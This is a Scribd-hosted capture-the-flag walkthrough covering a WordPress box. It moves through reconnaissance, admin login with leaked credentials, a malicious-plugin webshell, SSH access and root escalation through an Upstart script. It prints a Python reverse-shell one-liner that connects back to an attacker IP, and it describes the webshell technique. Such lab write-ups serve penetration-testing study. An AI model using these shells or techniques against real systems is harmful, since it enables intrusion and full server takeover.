Scribd
Upload
9 views9 pages

WordPress Exploit Guide: Gaining Shell Access

The document outlines a penetration testing scenario using Nmap to identify open ports and services, leading to the discovery of WordPress login credentials. After gaining administrative access to WordPress, a malicious plugin is uploaded to achieve command execution, resulting in a reverse shell. The process continues with gaining SSH access as a user, exploiting sudo privileges to execute commands as root, and ultimately capturing two flags.

Uploaded by

nguyenhoangquanfc23
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
9 views9 pages

WordPress Exploit Guide: Gaining Shell Access

The document outlines a penetration testing scenario using Nmap to identify open ports and services, leading to the discovery of WordPress login credentials. After gaining administrative access to WordPress, a malicious plugin is uploaded to achieve command execution, resulting in a reverse shell. The process continues with gaining SSH access as a user, exploiting sudo privileges to execute commands as root, and ultimately capturing two flags.

Uploaded by

nguyenhoangquanfc23
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

INFORMATION GATHERING

First lets look at Nmap results. Nmap reveals that OpenSSH (port 22), http
(port 80), mysql (port 3306) are running.

Access Webserver via port 80 and we see 2 links on the Webserver. Click on
the first link, we redirect to the Wordpress page and click on second link we see a
database connection error message, look at that url we redirect to /testing path.

EXPLOIT
FLAG 1
Here we found some login information of database on the [Link]
page
Use default username: Administrator of Wordpress and password we just
found to login

Login successfully
With administrative privileges to the WordPress instance, there are many
techniques of achieving a command execution on the underlying server. One
method is to upload a malicious plugin. We save the contents below as [Link]

We create an archive, and in WordPress, we can navigate to "Plugins" > "Add


New". We choose the archive file and select “Install now” and select “Activate
Plugin”
We can now navigate to the deployed webshell at the following URL. This
confirms that we have achieved command execution in the context of the nginx
user.

A reverse shell can be obtained using Python.


[Link]
[Link]? cmd=python -c 'import
socket,subprocess,os;s=[Link](socket.AF_INET,socket.SOCK_STREAM);s.
connect(("10. 10.14.14",1234));os.dup2([Link](),0); os.dup2([Link](),1);
os.dup2([Link](),2);p=[Link](["/bin/sh","-i"]);'
And we get a shell

After some searching, we found the etc/autologin/passwd file containing the


password.
Try to login with user katie via ssh, and login is successful. Take the first flag.

FLAG 2
Examination of the sudo privileges reveals that katie is able to execute control
tool. Searching for files owned by this group reveals an Upstart script, and the
directory /srv .This directory contains [Link] file that stands up a test web server
Searching on internet for upstart initctl returns a relevant page as the first
result

Insert the command "exec whoami > /tmp/testout" to test if we can execute
the command as root
This is successful, and /tmp/output shows that the command was executed as
root

Now just insert a reverse shell and listen on the attacker machine
And we have root

Take the second flag.

You might also like